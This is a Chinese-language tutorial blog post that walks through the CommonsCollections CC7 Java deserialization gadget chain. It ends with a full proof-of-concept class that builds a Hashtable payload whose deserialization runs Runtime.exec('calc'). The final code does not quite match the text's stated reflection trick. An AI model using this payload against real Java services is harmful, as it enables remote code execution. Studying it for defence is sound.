'Java反序列化-cc7'

前言

CC7 的链子也是和 CC5 类似,后半条链子也是 LazyMap.get() 的这条链子。

1
2
3
4
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals

环境
CommonsCollections 3.1 - 3.2.1

CC7链分析

如果是逆向分析的话,还是有点难度的,所以还是直接看 yso 官方的链子。
跟进Hashtable的readObject()方法,调用了reconstitutionPut方法

1
2
3
4
5
6
7
8
9
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}

1221行 key.equals(key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

调用了 equals() 方法,当然它也调用了 hashCode() 方法,如果是 hashCode() 这里走的话,又回到我们 CC6 的链子了,我们今天主看 CC7 的。

equals方法太多了,定位到 AbstractMapDecorator 这个类中。

1
2
3
4
5
6
7
@Override
public boolean equals(final Object object) {
if (object == this) {
return true;
}
return decorated().equals(object);
}

继续跟进equals
到Map.java

1
boolean equals(Object o);

找AbstractMap的equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

469行
调用了get方法。然后调用 LazyMap.get。后面就还是跟cc1一样了。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

exp编写

还是先复制一下后半段的链子,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method LazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// LazyGetMethod.setAccessible(true);
// LazyGetMethod.invoke(decorateLazyMap,chainedTransformer);

后续运行的时候那段反射是要删掉的,写这段反射只是为了证明一下我们现在的 EXP 能够行得通。

Hashtable的put

1
public synchronized V put(K key, V value) {

通过Hashtable的put传入参数

伪代码:

1
2
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
objectObjectHashtable.put(decorateLazyMap,"zer0");

但是发现并没有弹计算器

跟进调试put

并没有进入for循环的key.equals,而是直接跳出该循环,进入到 addEntry 方法中

主要原因: tab[index] 的值为null

看一下yso的解决方案

查看yso的代码,发现put了两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

运行,正常弹计算器

跟进调试:

  • 1、为什么要put两次?

由于第一次 put 将数值存入了 tab ,所以第二次 put 时就会进入 for 循环,来到我们的触发点(其实第二次的 put 就是为了进入这里的 for 循环)

第二次put的时候,进入for循环,此时 entry 是从 tab 中取出的 lazyMap1 ,然后进入到判断中

经过 (entry.hash == hash) 判断为真才能走到我们想要的 entry.key.equals(key) 方法中。

这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的。也就是说 lazyMap1 的 hash 值就是 “yy”.hashCode() ,lazyMap2 的 hash 值就是 “zZ”.hashCode()。

而在 java 中有一个小 bug:
yy和zZ的hash值是相同的。

  • 2、为什么 Poc 中要反射来对我们的 ChainedTransformer 进行赋值
    在以前的 Poc 中我们都是直接将 transformers 作为参数进行传入的,为什么这里不行

Hashtable#put 中也会调用到 AbstractMap#equals 从而触发 LazyMap#get 导致我们在生成 payload 的时候就本地执行了一次 RCE ,不过在这里并不会影响后面反序列化的触发,相当于这样的话一共会触发两次 一次在客户端一次在服务端,但是为了减少干扰我们还是利用反射最后进行赋值这样我们本地在生成 payload 的时候就不会触发 RCE 了

  • 3、为什么在调用完 HashTable.put() 之后,还需要在 map2 中 remove() 掉 yy?
    去掉remove进行调试

不remove的话 m.size() 就为2 这样的话就不等于来,直接返回 false,导致无法进入到后面

那么为什么要 remove(“yy”),这里我们需要从 writeObject 中进行查看,在生成 payload 时,当我们利用 put 放入的时候会调用 equals,从而也会触发一次 AbstractMap#equals

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer,transformers);
lazyMap2.remove("yy");

// serialize(hashtable);
unserialization("./2.ser");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

cc1-cc7流程图